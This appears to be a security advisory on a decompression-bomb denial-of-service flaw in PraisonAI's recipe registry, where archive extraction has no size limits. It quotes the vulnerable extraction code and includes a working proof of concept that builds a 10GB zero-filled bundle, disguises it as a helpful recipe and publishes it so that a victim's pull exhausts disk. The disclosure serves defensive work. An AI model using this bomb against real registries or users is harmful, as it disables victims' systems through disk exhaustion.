PraisonAI Vulnerable to Decompression Bomb DoS via Recipe Bundle Extraction Without Size Limits

Summary

The _safe_extractall() function in PraisonAI's recipe registry validates archive members against path traversal attacks but performs no checks on individual member sizes, cumulative extracted size, or member count before calling tar.extractall(). An attacker can publish a malicious recipe bundle containing highly compressible data (e.g., 10GB of zeros compressing to ~10MB) that exhausts the victim's disk when pulled via LocalRegistry.pull() or HttpRegistry.pull().

Details

The vulnerable function is _safe_extractall() at src/praisonai/praisonai/recipe/registry.py:131-162:

def _safe_extractall(tar: tarfile.TarFile, dest_dir: Path) -> None:
    dest_resolved = dest_dir.resolve()
    for member in tar.getmembers():
        member_path = Path(member.name)
        # Reject absolute paths
        if member_path.is_absolute():
            raise RegistryError(...)
        # Reject '..' components
        if '..' in member_path.parts:
            raise RegistryError(...)
        # Reject resolved paths escaping dest_dir
        resolved = (dest_resolved / member_path).resolve()
        if not str(resolved).startswith(str(dest_resolved) + os.sep) and resolved != dest_resolved:
            raise RegistryError(...)
    # All members validated — safe to extract
    tar.extractall(dest_dir)  # <-- No size limit

The function iterates all tar members and checks for path traversal (absolute paths, .. components, resolved path escaping), but never inspects member.size. The TarInfo.size attribute is available on every member and represents the uncompressed size, but it is never read.

This function is called from two locations:

• LocalRegistry.pull() at line 396-397
• HttpRegistry.pull() at line 791-792

The publish() method at line 296-298 only copies the compressed bundle via shutil.copy2(), so the bomb only detonates when a victim calls pull().

No size limits, upload quotas, or decompression guards exist anywhere in the registry module.

PoC

# Step 1: Create a malicious recipe bundle
mkdir bomb && cd bomb

cat > manifest.json << 'EOF'
{"name": "useful-recipe", "version": "1.0.0", "description": "Helpful AI recipe", "tags": ["ai"], "files": ["agent.yaml"]}
EOF

# Create a 10GB file of zeros (compresses to ~10MB with gzip)
dd if=/dev/zero of=agent.yaml bs=1M count=10240

# Bundle it as a .praison file
tar czf ../useful-recipe-1.0.0.praison manifest.json agent.yaml
cd ..

# Step 2: Publish to local registry (~10MB stored)
python -c "
from praisonai.recipe.registry import LocalRegistry
reg = LocalRegistry()
reg.publish('useful-recipe-1.0.0.praison')
"

# Step 3: Victim pulls — extracts 10GB to disk
python -c "
from praisonai.recipe.registry import LocalRegistry
reg = LocalRegistry()
reg.pull('useful-recipe')
"
# Result: 10GB+ written to disk, potential disk exhaustion